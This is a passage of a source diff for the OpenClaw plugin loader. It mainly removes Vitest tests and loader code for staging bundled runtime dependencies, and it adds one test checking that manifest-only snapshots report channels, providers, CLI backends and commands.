VITEST: "true", - }; - const writePackageVersion = (version: string) => { - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version, type: "module" }, null, 2), - "utf-8", - ); - }; - const writeRuntimeEntry = (marker: string) => { - fs.writeFileSync( - path.join(pluginRoot, "index.cjs"), - ` -const fs = require("node:fs"); -const runtimeDep = require("browser-runtime/package.json"); -fs.writeFileSync( - ${JSON.stringify(markerPath)}, - JSON.stringify({ marker: ${JSON.stringify(marker)}, filename: __filename, runtimeDep: runtimeDep.name }) + "\\n", - "utf-8", -); -module.exports = { id: "browser", register() {} }; -`, - "utf-8", - ); - }; - const installRoots: string[] = []; - const loadOptions = { - env, - onlyPluginIds: ["browser"], - config: { - plugins: { - enabled: true, - }, - }, - bundledRuntimeDepsInstaller: ({ installRoot, installSpecs, missingSpecs }) => { - installRoots.push(installRoot); - writeInstalledRuntimeDepPackage(installRoot, "browser-runtime", "1.0.0"); - writeGeneratedRuntimeDepsManifest(installRoot, installSpecs ?? missingSpecs); - }, - } satisfies Parameters[0]; - - writePackageVersion("2026.4.26"); - writeRuntimeEntry("v26"); - const first = withEnv(env, () => loadOpenClawPlugins(loadOptions)); - const firstInstallRoot = resolveBundledRuntimeDependencyPackageInstallRoot(packageRoot, { - env, - }); - const firstPlugin = first.plugins.find((entry) => entry.id === "browser"); - expect(firstPlugin?.error).toBeUndefined(); - expect(firstPlugin?.status).toBe("loaded"); - const firstMarker = JSON.parse(fs.readFileSync(markerPath, "utf-8")) as { - filename: string; - marker: string; - runtimeDep: string; - }; - - expect(firstMarker.marker).toBe("v26"); - expect(firstMarker.runtimeDep).toBe("browser-runtime"); - expect(realpathOrResolveForTest(firstMarker.filename)).toContain( - realpathOrResolveForTest(path.join(firstInstallRoot, "dist", "extensions")), - ); - expect(installRoots.map((root) => realpathOrResolveForTest(root))).toContain( - realpathOrResolveForTest(firstInstallRoot), - ); - - writePackageVersion("2026.4.27"); - writeRuntimeEntry("v27"); - const secondInstallRoot = resolveBundledRuntimeDependencyPackageInstallRoot(packageRoot, { - env, - }); - const second = withEnv(env, () => loadOpenClawPlugins(loadOptions)); - const secondMarker = JSON.parse(fs.readFileSync(markerPath, "utf-8")) as { - filename: string; - marker: string; - runtimeDep: string; - }; - - expect(second).not.toBe(first); - expect(second.plugins.find((entry) => entry.id === "browser")?.status).toBe("loaded"); - expect(secondMarker.marker).toBe("v27"); - expect(secondMarker.runtimeDep).toBe("browser-runtime"); - expect(realpathOrResolveForTest(secondMarker.filename)).toContain( - realpathOrResolveForTest(path.join(secondInstallRoot, "dist", "extensions")), - ); - expect(secondInstallRoot).not.toBe(firstInstallRoot); - }); - - it("loads bundled plugins from symlinked package roots with an external stage dir", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - const aliasRoot = path.join(makeTempDir(), "openclaw-alias"); - const bundledDir = path.join(packageRoot, "dist", "extensions"); - const plugin = writePlugin({ - id: "alpha", - dir: path.join(bundledDir, "alpha"), - filename: "index.cjs", - body: `module.exports = { id: "alpha", register(api) { api.registerCommand({ name: "alpha", handler: () => "ok" }); } };`, - }); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.25", type: "module" }), - "utf-8", - ); - fs.writeFileSync( - path.join(plugin.dir, "package.json"), - JSON.stringify( - { - name: "@openclaw/alpha", - version: "1.0.0", - openclaw: { extensions: ["./index.cjs"] }, - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(plugin.dir, "openclaw.plugin.json"), - JSON.stringify( - { - id: "alpha", - enabledByDefault: true, - configSchema: EMPTY_PLUGIN_SCHEMA, - }, - null, - 2, - ), - "utf-8", - ); - fs.symlinkSync(packageRoot, aliasRoot, "dir"); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = path.join(aliasRoot, "dist", "extensions"); - process.env.OPENCLAW_PLUGIN_STAGE_DIR = stageDir; - - const registry = loadOpenClawPlugins({ - cache: false, - config: { plugins: { enabled: true } }, - }); - - expect(registry.plugins.find((entry) => entry.id === "alpha")?.status).toBe("loaded"); - }); - - it("loads copied external runtime mirrors with package-root runtime deps", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - const bundledDir = path.join(packageRoot, "dist", "extensions"); - const pluginRoot = path.join(bundledDir, "alpha"); - const packageDepRoot = path.join(packageRoot, "node_modules", "root-support"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.mkdirSync(packageDepRoot, { recursive: true }); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ - name: "openclaw", - version: "2026.4.24", - type: "module", - dependencies: { "root-support": "1.0.0" }, - }), - "utf-8", - ); - fs.writeFileSync( - path.join(packageDepRoot, "package.json"), - JSON.stringify({ - name: "root-support", - version: "1.0.0", - type: "module", - exports: { - ".": { - import: "./index.js", - }, - "./oauth": { - import: "./oauth.js", - }, - "./*": { - import: "./dist/*", - }, - }, - }), - "utf-8", - ); - fs.mkdirSync(path.join(packageDepRoot, "dist", "client"), { recursive: true }); - fs.writeFileSync( - path.join(packageDepRoot, "index.js"), - "export default { marker: 'root-ok' };\n", - "utf-8", - ); - fs.writeFileSync( - path.join(packageDepRoot, "oauth.js"), - "export const oauthMarker = 'oauth-ok';\n", - "utf-8", - ); - fs.writeFileSync( - path.join(packageDepRoot, "dist", "client", "index.js"), - "export const clientMarker = 'client-ok';\n", - "utf-8", - ); - fs.writeFileSync( - path.join(packageRoot, "dist", "manifest-support.js"), - [ - `import support from "root-support";`, - `import { oauthMarker } from "root-support/oauth";`, - `import { clientMarker } from "root-support/client/index.js";`, - `export const marker = [support.marker, oauthMarker, clientMarker].join(":");`, - "", - ].join("\n"), - "utf-8", - ); - fs.writeFileSync( - path.join(pluginRoot, "index.js"), - [ - `import { marker } from "../../manifest-support.js";`, - `import externalRuntime from "external-runtime";`, - `export default {`, - ` id: "alpha",`, - ` register(api) {`, - ` api.registerCommand({ name: "root-support", handler: () => [marker, externalRuntime.marker].join(":") });`, - ` },`, - `};`, - "", - ].join("\n"), - "utf-8", - ); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify( - { - name: "@openclaw/alpha", - version: "1.0.0", - type: "module", - dependencies: { - "external-runtime": "1.0.0", - }, - openclaw: { extensions: ["./index.js"] }, - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(pluginRoot, "openclaw.plugin.json"), - JSON.stringify( - { - id: "alpha", - enabledByDefault: true, - configSchema: EMPTY_PLUGIN_SCHEMA, - }, - null, - 2, - ), - "utf-8", - ); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; - process.env.OPENCLAW_PLUGIN_STAGE_DIR = stageDir; - - const symlinkSync = vi.spyOn(fs, "symlinkSync").mockImplementation(() => { - throw Object.assign(new Error("symlinks unavailable"), { code: "EPERM" }); - }); - let registry: PluginRegistry | null = null; - try { - registry = loadOpenClawPlugins({ - cache: false, - config: { plugins: { enabled: true } }, - bundledRuntimeDepsInstaller: ({ installRoot }) => { - const depRoot = path.join(installRoot, "node_modules", "external-runtime"); - fs.mkdirSync(depRoot, { recursive: true }); - fs.writeFileSync( - path.join(depRoot, "package.json"), - JSON.stringify({ - name: "external-runtime", - version: "1.0.0", - type: "module", - exports: { - ".": { - import: "./index.js", - }, - }, - }), - "utf-8", - ); - fs.writeFileSync( - path.join(depRoot, "index.js"), - "export default { marker: 'external-ok' };\n", - "utf-8", - ); - }, - }); - } finally { - symlinkSync.mockRestore(); - } - - expect(registry?.plugins.find((entry) => entry.id === "alpha")?.status).toBe("loaded"); - }); - - it("materializes root JavaScript chunks in external runtime mirrors", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - const bundledDir = path.join(packageRoot, "dist", "extensions"); - const pluginRoot = path.join(bundledDir, "browser"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.24", type: "module" }), - "utf-8", - ); - fs.writeFileSync( - path.join(packageRoot, "dist", "pw-ai.js"), - [ - `//#region extensions/browser/src/pw-ai.ts`, - `import { marker } from "playwright-core";`, - `export { marker };`, - `//#endregion`, - "", - ].join("\n"), - "utf-8", - ); - fs.writeFileSync( - path.join(packageRoot, "dist", "shared-runtime.js"), - "export const shared = 'mirrored-without-region';\n", - "utf-8", - ); - fs.writeFileSync( - path.join(packageRoot, "dist", "config-runtime.js"), - "import JSON5 from 'json5'; export const parse = JSON5.parse;\n", - "utf-8", - ); - fs.writeFileSync( - path.join(pluginRoot, "index.js"), - [ - `import { marker } from "../../pw-ai.js";`, - `export default {`, - ` id: "browser",`, - ` register(api) {`, - ` api.registerCommand({ name: "browser-marker", handler: () => marker });`, - ` },`, - `};`, - "", - ].join("\n"), - "utf-8", - ); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify( - { - name: "@openclaw/browser", - version: "1.0.0", - type: "module", - dependencies: { - "playwright-core": "1.0.0", - }, - openclaw: { extensions: ["./index.js"] }, - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(pluginRoot, "openclaw.plugin.json"), - JSON.stringify( - { - id: "browser", - enabledByDefault: true, - configSchema: EMPTY_PLUGIN_SCHEMA, - }, - null, - 2, - ), - "utf-8", - ); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; - process.env.OPENCLAW_PLUGIN_STAGE_DIR = stageDir; - - let actualInstallRoot = ""; - let stagedMirrorChunk = ""; - const registry = loadOpenClawPlugins({ - cache: false, - config: { - plugins: { - enabled: true, - }, - }, - bundledRuntimeDepsInstaller: ({ installRoot }) => { - actualInstallRoot = installRoot; - stagedMirrorChunk = path.join(installRoot, "dist", "pw-ai.js"); - fs.mkdirSync(path.dirname(stagedMirrorChunk), { recursive: true }); - fs.symlinkSync(path.join(packageRoot, "dist", "pw-ai.js"), stagedMirrorChunk, "file"); - const depRoot = path.join(installRoot, "node_modules", "playwright-core"); - fs.mkdirSync(depRoot, { recursive: true }); - fs.writeFileSync( - path.join(depRoot, "package.json"), - JSON.stringify({ - name: "playwright-core", - version: "1.0.0", - type: "module", - exports: "./index.js", - }), - "utf-8", - ); - fs.writeFileSync(path.join(depRoot, "index.js"), "export const marker = 'stage-ok';\n"); - }, - }); - - expect(actualInstallRoot).not.toBe(""); - expect(registry.plugins.find((entry) => entry.id === "browser")?.status).toBe("loaded"); - expect(fs.lstatSync(stagedMirrorChunk).isSymbolicLink()).toBe(false); - - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = path.join(actualInstallRoot, "dist", "extensions"); - const reloadedRegistry = loadOpenClawPlugins({ - cache: false, - config: { - plugins: { - enabled: true, - }, - }, - }); - - expect(reloadedRegistry.plugins.find((entry) => entry.id === "browser")?.status).toBe("loaded"); - expect(fs.existsSync(stagedMirrorChunk)).toBe(true); - expect( - fs.lstatSync(path.join(actualInstallRoot, "dist", "shared-runtime.js")).isSymbolicLink(), - ).toBe(false); - expect( - fs.lstatSync(path.join(actualInstallRoot, "dist", "config-runtime.js")).isSymbolicLink(), - ).toBe(false); - }); - - it("loads bundled plugins with plugin-sdk imports from an external stage dir", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - const bundledDir = path.join(packageRoot, "dist", "extensions"); - const pluginRoot = path.join(bundledDir, "telegram"); - fs.mkdirSync(path.join(packageRoot, "dist", "plugin-sdk"), { recursive: true }); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.22", type: "module" }), - "utf-8", - ); - fs.writeFileSync( - path.join(packageRoot, "dist", "plugin-sdk", "text-runtime.js"), - [ - `export function normalizeLowercaseStringOrEmpty(value) {`, - ` return typeof value === "string" ? value.toLowerCase() : "";`, - `}`, - "", - ].join("\n"), - "utf-8", - ); - fs.writeFileSync( - path.join(pluginRoot, "index.js"), - [ - `import runtimeDep from "external-runtime";`, - `import { normalizeLowercaseStringOrEmpty } from "openclaw/plugin-sdk/text-runtime";`, - `export default {`, - ` id: "telegram",`, - ` register(api) {`, - ` api.registerCommand({`, - ` name: "external-runtime",`, - ` handler: () => normalizeLowercaseStringOrEmpty(runtimeDep.marker),`, - ` });`, - ` },`, - `};`, - "", - ].join("\n"), - "utf-8", - ); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify( - { - name: "@openclaw/telegram", - version: "1.0.0", - type: "module", - dependencies: { - "external-runtime": "1.0.0", - }, - openclaw: { extensions: ["./index.js"] }, - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(pluginRoot, "openclaw.plugin.json"), - JSON.stringify( - { - id: "telegram", - enabledByDefault: true, - configSchema: EMPTY_PLUGIN_SCHEMA, - }, - null, - 2, - ), - "utf-8", - ); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; - process.env.OPENCLAW_PLUGIN_STAGE_DIR = stageDir; - - let registry: PluginRegistry | null = null; - try { - fs.chmodSync(bundledDir, 0o555); - registry = loadOpenClawPlugins({ - cache: false, - config: { - plugins: { - enabled: true, - }, - }, - bundledRuntimeDepsInstaller: ({ installRoot }) => { - const depRoot = path.join(installRoot, "node_modules", "external-runtime"); - fs.mkdirSync(depRoot, { recursive: true }); - fs.writeFileSync( - path.join(depRoot, "package.json"), - JSON.stringify({ - name: "external-runtime", - version: "1.0.0", - type: "module", - exports: "./index.js", - }), - "utf-8", - ); - fs.writeFileSync( - path.join(depRoot, "index.js"), - "export default { marker: 'SDK-OK' };\n", - "utf-8", - ); - }, - }); - } finally { - fs.chmodSync(bundledDir, 0o755); - } - - expect(registry?.plugins.find((entry) => entry.id === "telegram")?.status).toBe("loaded"); - expect(fs.existsSync(path.join(bundledDir, "node_modules", "openclaw"))).toBe(false); - }); - it("loads bundled plugins with plugin-sdk imports from a package dist root", () => { const packageRoot = makeTempDir(); const bundledDir = path.join(packageRoot, "dist", "extensions"); @@ -2203,6 +980,7 @@ module.exports = { id: "browser", register() {} }; "export const normalizeLowercaseStringOrEmpty = (value) => String(value).toLowerCase();\n", "utf-8", ); + ensureOpenClawPluginSdkAlias(path.join(packageRoot, "dist")); fs.writeFileSync( path.join(pluginRoot, "index.js"), [ @@ -2257,432 +1035,6 @@ module.exports = { id: "browser", register() {} }; expect(registry.plugins.find((entry) => entry.id === "discord")?.status).toBe("loaded"); }); - - it("loads dist-runtime wrappers from an external stage dir without rewriting mirrors on reload", async () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - const bundledDir = path.join(packageRoot, "dist-runtime", "extensions"); - const pluginRoot = path.join(bundledDir, "acpx"); - const canonicalPluginRoot = path.join(packageRoot, "dist", "extensions", "acpx"); - const canonicalEntryImport = path.posix.join( - "..", - "..", - "..", - "dist", - "extensions", - "acpx", - "index.js", - ); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.mkdirSync(canonicalPluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(packageRoot, "dist", "pw-ai.js"), - [ - `//#region extensions/acpx/src/pw-ai.ts`, - `import runtimeDep from "external-runtime";`, - `export const marker = runtimeDep.marker;`, - `//#endregion`, - "", - ].join("\n"), - "utf-8", - ); - fs.writeFileSync( - path.join(pluginRoot, "index.js"), - [ - `export * from ${JSON.stringify(canonicalEntryImport)};`, - `import defaultModule from ${JSON.stringify(canonicalEntryImport)};`, - `export default defaultModule;`, - "", - ].join("\n"), - "utf-8", - ); - fs.writeFileSync( - path.join(canonicalPluginRoot, "index.js"), - [ - `import { marker } from "../../pw-ai.js";`, - `export default {`, - ` id: "acpx",`, - ` register(api) {`, - ` api.registerCommand({ name: "external-runtime", handler: () => marker });`, - ` },`, - `};`, - "", - ].join("\n"), - "utf-8", - ); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; - process.env.OPENCLAW_PLUGIN_STAGE_DIR = stageDir; - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify( - { - name: "@openclaw/acpx", - version: "1.0.0", - type: "module", - dependencies: { - "external-runtime": "1.0.0", - }, - openclaw: { extensions: ["./index.js"] }, - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(pluginRoot, "openclaw.plugin.json"), - JSON.stringify( - { - id: "acpx", - enabledByDefault: true, - configSchema: EMPTY_PLUGIN_SCHEMA, - }, - null, - 2, - ), - "utf-8", - ); - - const installRootPlan = resolveBundledRuntimeDependencyInstallRootPlan(pluginRoot, { - env: process.env, - }); - const lockPath = path.join(installRootPlan.installRoot, ".openclaw-runtime-mirror.lock"); - const observedPluginRoot = fs.realpathSync.native(pluginRoot); - const observedCanonicalPluginRoot = fs.realpathSync.native(canonicalPluginRoot); - const fingerprintLockStates: Array<{ source: "runtime" | "canonical"; locked: boolean }> = []; - const realLstatSync = fs.lstatSync.bind(fs) as typeof fs.lstatSync; - const lstatSync = vi.spyOn(fs, "lstatSync").mockImplementation(((target, options) => { - const targetPath = target.toString(); - if (isBigIntStatOptions(options)) { - if ( - isPathInsideRoot(targetPath, pluginRoot) || - isPathInsideRoot(targetPath, observedPluginRoot) - ) { - fingerprintLockStates.push({ source: "runtime", locked: fs.existsSync(lockPath) }); - } else if ( - isPathInsideRoot(targetPath, canonicalPluginRoot) || - isPathInsideRoot(targetPath, observedCanonicalPluginRoot) - ) { - fingerprintLockStates.push({ source: "canonical", locked: fs.existsSync(lockPath) }); - } - } - return realLstatSync(target, options as never); - }) as typeof fs.lstatSync); - - try { - let actualInstallRoot = ""; - const installExternalRuntime = ({ installRoot }: BundledRuntimeDepsInstallParams) => { - actualInstallRoot = installRoot; - const depRoot = path.join(installRoot, "node_modules", "external-runtime"); - fs.mkdirSync(depRoot, { recursive: true }); - fs.writeFileSync( - path.join(depRoot, "package.json"), - JSON.stringify({ - name: "external-runtime", - version: "1.0.0", - type: "module", - exports: "./index.js", - }), - "utf-8", - ); - fs.writeFileSync( - path.join(depRoot, "index.js"), - "export default { marker: 'dist-runtime-ok' };\n", - "utf-8", - ); - }; - const registry = loadOpenClawPlugins({ - cache: false, - config: { - plugins: { - enabled: true, - }, - }, - bundledRuntimeDepsInstaller: installExternalRuntime, - }); - - const record = registry.plugins.find((entry) => entry.id === "acpx"); - expect(record?.error).toBeUndefined(); - expect(record?.status).toBe("loaded"); - expect(fs.lstatSync(path.join(actualInstallRoot, "dist")).isSymbolicLink()).toBe(false); - expect(fs.lstatSync(path.join(actualInstallRoot, "dist", "pw-ai.js")).isSymbolicLink()).toBe( - false, - ); - - const runtimeMirrorRoot = path.join(actualInstallRoot, "dist-runtime", "extensions", "acpx"); - const canonicalMirrorRoot = path.join(actualInstallRoot, "dist", "extensions", "acpx"); - const mirrorSnapshot = { - runtime: snapshotRuntimeMirrorTree(runtimeMirrorRoot), - canonical: snapshotRuntimeMirrorTree(canonicalMirrorRoot), - }; - - await waitForFilesystemTimestampTick(); - - const reloadedRegistry = loadOpenClawPlugins({ - cache: false, - config: { - plugins: { - enabled: true, - }, - }, - bundledRuntimeDepsInstaller: installExternalRuntime, - }); - - const reloadedRecord = reloadedRegistry.plugins.find((entry) => entry.id === "acpx"); - expect(reloadedRecord?.error).toBeUndefined(); - expect(reloadedRecord?.status).toBe("loaded"); - expect({ - runtime: snapshotRuntimeMirrorTree(runtimeMirrorRoot), - canonical: snapshotRuntimeMirrorTree(canonicalMirrorRoot), - }).toEqual(mirrorSnapshot); - expect(fingerprintLockStates.some((entry) => entry.source === "runtime")).toBe(true); - expect(fingerprintLockStates.some((entry) => entry.source === "canonical")).toBe(true); - expect(fingerprintLockStates.filter((entry) => entry.locked)).toEqual([]); - } finally { - lstatSync.mockRestore(); - } - }); - - it("loads native ESM deps from the writable stage dir without reusing a layered baseline", () => { - const packageRoot = makeTempDir(); - const baselineStageDir = makeTempDir(); - const writableStageDir = makeTempDir(); - const bundledDir = path.join(packageRoot, "dist-runtime", "extensions"); - const pluginRoot = path.join(bundledDir, "acpx"); - const canonicalPluginRoot = path.join(packageRoot, "dist", "extensions", "acpx"); - const canonicalEntryImport = path.posix.join( - "..", - "..", - "..", - "dist", - "extensions", - "acpx", - "index.js", - ); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.mkdirSync(canonicalPluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.25", type: "module" }), - "utf-8", - ); - fs.writeFileSync( - path.join(packageRoot, "dist", "pw-ai.js"), - [ - `//#region extensions/acpx/src/pw-ai.ts`, - `import runtimeDep from "external-runtime";`, - `export const marker = runtimeDep.marker;`, - `//#endregion`, - "", - ].join("\n"), - "utf-8", - ); - fs.writeFileSync( - path.join(pluginRoot, "index.js"), - [ - `export * from ${JSON.stringify(canonicalEntryImport)};`, - `import defaultModule from ${JSON.stringify(canonicalEntryImport)};`, - `export default defaultModule;`, - "", - ].join("\n"), - "utf-8", - ); - fs.writeFileSync( - path.join(canonicalPluginRoot, "index.js"), - [ - `import { marker } from "../../pw-ai.js";`, - `export default {`, - ` id: "acpx",`, - ` register(api) {`, - ` api.registerCommand({ name: "external-runtime", handler: () => marker });`, - ` },`, - `};`, - "", - ].join("\n"), - "utf-8", - ); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify( - { - name: "@openclaw/acpx", - version: "1.0.0", - type: "module", - dependencies: { - "external-runtime": "1.0.0", - }, - openclaw: { extensions: ["./index.js"] }, - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(pluginRoot, "openclaw.plugin.json"), - JSON.stringify( - { - id: "acpx", - enabledByDefault: true, - configSchema: EMPTY_PLUGIN_SCHEMA, - }, - null, - 2, - ), - "utf-8", - ); - const env = { - OPENCLAW_PLUGIN_STAGE_DIR: [baselineStageDir, writableStageDir].join(path.delimiter), - }; - const installRootPlan = resolveBundledRuntimeDependencyInstallRootPlan( - fs.realpathSync(pluginRoot), - { env }, - ); - const baselineRoot = installRootPlan.searchRoots[0] ?? baselineStageDir; - const baselineDepRoot = path.join(baselineRoot, "node_modules", "external-runtime"); - fs.mkdirSync(baselineDepRoot, { recursive: true }); - fs.writeFileSync( - path.join(baselineDepRoot, "package.json"), - JSON.stringify({ - name: "external-runtime", - version: "1.0.0", - type: "module", - exports: "./index.js", - }), - "utf-8", - ); - fs.writeFileSync( - path.join(baselineDepRoot, "index.js"), - "export default { marker: 'baseline-ok' };\n", - "utf-8", - ); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; - process.env.OPENCLAW_PLUGIN_STAGE_DIR = env.OPENCLAW_PLUGIN_STAGE_DIR; - - const registry = loadOpenClawPlugins({ - cache: false, - config: { - plugins: { - enabled: true, - }, - }, - bundledRuntimeDepsInstaller: ({ installRoot }) => { - const depRoot = path.join(installRoot, "node_modules", "external-runtime"); - fs.mkdirSync(depRoot, { recursive: true }); - fs.writeFileSync( - path.join(depRoot, "package.json"), - JSON.stringify({ - name: "external-runtime", - version: "1.0.0", - type: "module", - exports: "./index.js", - }), - "utf-8", - ); - fs.writeFileSync( - path.join(depRoot, "index.js"), - "export default { marker: 'writable-ok' };\n", - "utf-8", - ); - }, - }); - - const layeredRecord = registry.plugins.find((entry) => entry.id === "acpx"); - expect(layeredRecord?.error).toBeUndefined(); - expect(layeredRecord?.status).toBe("loaded"); - expect(fs.readFileSync(path.join(baselineDepRoot, "index.js"), "utf-8")).toContain( - "baseline-ok", - ); - expect( - fs.readFileSync( - path.join(installRootPlan.installRoot, "node_modules", "external-runtime", "index.js"), - "utf-8", - ), - ).toContain("writable-ok"); - }); - - it("loads source-checkout bundled runtime deps without mirroring the repo tree", () => { - const packageRoot = makeTempDir(); - fs.mkdirSync(path.join(packageRoot, ".git"), { recursive: true }); - fs.mkdirSync(path.join(packageRoot, "src"), { recursive: true }); - const bundledDir = path.join(packageRoot, "extensions"); - const plugin = writePlugin({ - id: "tokenjuice", - dir: path.join(bundledDir, "tokenjuice"), - filename: "index.cjs", - body: ` - const runtimeDep = require("external-runtime"); - module.exports = { - id: "tokenjuice", - register(api) { - api.registerCommand({ name: "external-runtime", handler: () => runtimeDep.marker }); - } - }; - `, - }); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; - fs.writeFileSync( - path.join(plugin.dir, "package.json"), - JSON.stringify( - { - name: "@openclaw/tokenjuice", - version: "1.0.0", - dependencies: { - "external-runtime": "1.0.0", - }, - openclaw: { extensions: ["./index.cjs"] }, - }, - null, - 2, - ), - "utf-8", - ); - fs.writeFileSync( - path.join(plugin.dir, "openclaw.plugin.json"), - JSON.stringify( - { - id: "tokenjuice", - enabledByDefault: true, - configSchema: EMPTY_PLUGIN_SCHEMA, - }, - null, - 2, - ), - "utf-8", - ); - - const installRoots: string[] = []; - const registry = loadOpenClawPlugins({ - cache: false, - config: { - plugins: { - enabled: true, - }, - }, - bundledRuntimeDepsInstaller: ({ installRoot }) => { - installRoots.push(fs.realpathSync(installRoot)); - const depRoot = path.join(installRoot, "node_modules", "external-runtime"); - fs.mkdirSync(depRoot, { recursive: true }); - fs.writeFileSync( - path.join(depRoot, "package.json"), - JSON.stringify({ name: "external-runtime", version: "1.0.0", main: "index.cjs" }), - "utf-8", - ); - fs.writeFileSync( - path.join(depRoot, "index.cjs"), - "module.exports = { marker: 'source-checkout-ok' };\n", - "utf-8", - ); - }, - }); - - expect(installRoots).toEqual([fs.realpathSync(plugin.dir)]); - expect(registry.plugins.find((entry) => entry.id === "tokenjuice")?.status).toBe("loaded"); - expect(resolveLoadedPluginSource(registry, "tokenjuice")).toBe( - fs.realpathSync(path.join(plugin.dir, "index.cjs")), - ); - }); - it("registers standalone text transforms", () => { useNoBundledPlugins(); const plugin = writePlugin({ @@ -3130,6 +1482,62 @@ module.exports = { id: "manifest-only-plugin", register() { throw new Error("man ); }, }, + { + label: "includes manifest-owned surfaces in manifest-only snapshots", + run: () => { + useNoBundledPlugins(); + const importedMarker = path.join(makeTempDir(), "manifest-surfaces-imported.txt"); + const plugin = writePlugin({ + id: "manifest-surfaces-plugin", + filename: "manifest-surfaces-plugin.cjs", + body: `require("node:fs").writeFileSync(${JSON.stringify(importedMarker)}, "loaded", "utf-8"); +module.exports = { id: "manifest-surfaces-plugin", register() { throw new Error("manifest-only snapshot should not register"); } };`, + }); + fs.writeFileSync( + path.join(plugin.dir, "openclaw.plugin.json"), + JSON.stringify( + { + id: "manifest-surfaces-plugin", + configSchema: EMPTY_PLUGIN_SCHEMA, + channels: ["manifest-surfaces-channel"], + providers: ["manifest-surfaces-provider"], + cliBackends: ["manifest-surfaces-cli"], + setup: { cliBackends: ["manifest-surfaces-setup-cli"] }, + commandAliases: [{ name: "manifest-surfaces-command" }], + }, + null, + 2, + ), + "utf-8", + ); + + const registry = loadOpenClawPlugins({ + cache: false, + activate: false, + loadModules: false, + config: { + plugins: { + load: { paths: [plugin.file] }, + allow: ["manifest-surfaces-plugin"], + entries: { + "manifest-surfaces-plugin": { enabled: true }, + }, + }, + }, + }); + + const record = registry.plugins.find((entry) => entry.id === "manifest-surfaces-plugin"); + expect(fs.existsSync(importedMarker)).toBe(false); + expect(record).toEqual( + expect.objectContaining({ + channelIds: ["manifest-surfaces-channel"], + providerIds: ["manifest-surfaces-provider"], + cliBackendIds: ["manifest-surfaces-cli", "manifest-surfaces-setup-cli"], + commands: ["manifest-surfaces-command"], + }), + ); + }, + }, { label: "marks a selected memory slot as matched during manifest-only snapshots", run: () => { diff --git a/src/plugins/loader.ts b/src/plugins/loader.ts index 5349dc673f6..8073a8d6a37 100644 --- a/src/plugins/loader.ts +++ b/src/plugins/loader.ts @@ -26,18 +26,6 @@ import { resolveUserPath } from "../utils.js"; import { resolvePluginActivationSourceConfig } from "./activation-source-config.js"; import { buildPluginApi } from "./api-builder.js"; import { inspectBundleMcpRuntimeSupport } from "./bundle-mcp.js"; -import type { BundledRuntimeDepsInstallParams } from "./bundled-runtime-deps-install.js"; -import { - clearBundledRuntimeDependencyJitiAliases, - resolveBundledRuntimeDependencyJitiAliasMap, -} from "./bundled-runtime-deps-jiti-aliases.js"; -import { clearBundledRuntimeDependencyNodePaths } from "./bundled-runtime-deps.js"; -import { clearBundledRuntimeDistMirrorPreparationCache } from "./bundled-runtime-dist-mirror-cache.js"; -import { - clearPreparedBundledPluginRuntimeLoadRoots, - ensureOpenClawPluginSdkAlias, -} from "./bundled-runtime-root.js"; -import { prepareBundledRuntimeLoadRootForPlugin } from "./bundled-runtime-staging.js"; import { clearPluginCommands, listRegisteredPluginCommands, @@ -121,6 +109,7 @@ import { normalizePluginIdScope, serializePluginIdScope, } from "./plugin-scope.js"; +import { ensureOpenClawPluginSdkAlias } from "./plugin-sdk-dist-alias.js"; import { createEmptyPluginRegistry } from "./registry-empty.js"; import { createPluginRegistry, type PluginRecord, type PluginRegistry } from "./registry.js"; import { resolvePluginCacheInputs } from "./roots.js"; @@ -186,10 +175,7 @@ export type PluginLoadOptions = { toolDiscovery?: boolean; activate?: boolean; loadModules?: boolean; - installBundledRuntimeDeps?: boolean; throwOnLoadError?: boolean; - bundledRuntimeDepsInstaller?: (params: BundledRuntimeDepsInstallParams) => void; - bundledRuntimeDepsRepairError?: unknown; manifestRegistry?: PluginManifestRegistry; }; @@ -287,10 +273,6 @@ function createPluginCandidatesFromManifestRegistry( export function clearPluginLoaderCache(): void { pluginLoaderCacheState.clear(); - clearBundledRuntimeDependencyNodePaths(); - clearBundledRuntimeDistMirrorPreparationCache(); - clearPreparedBundledPluginRuntimeLoadRoots(); - clearBundledRuntimeDependencyJitiAliases(); clearAgentHarnesses(); 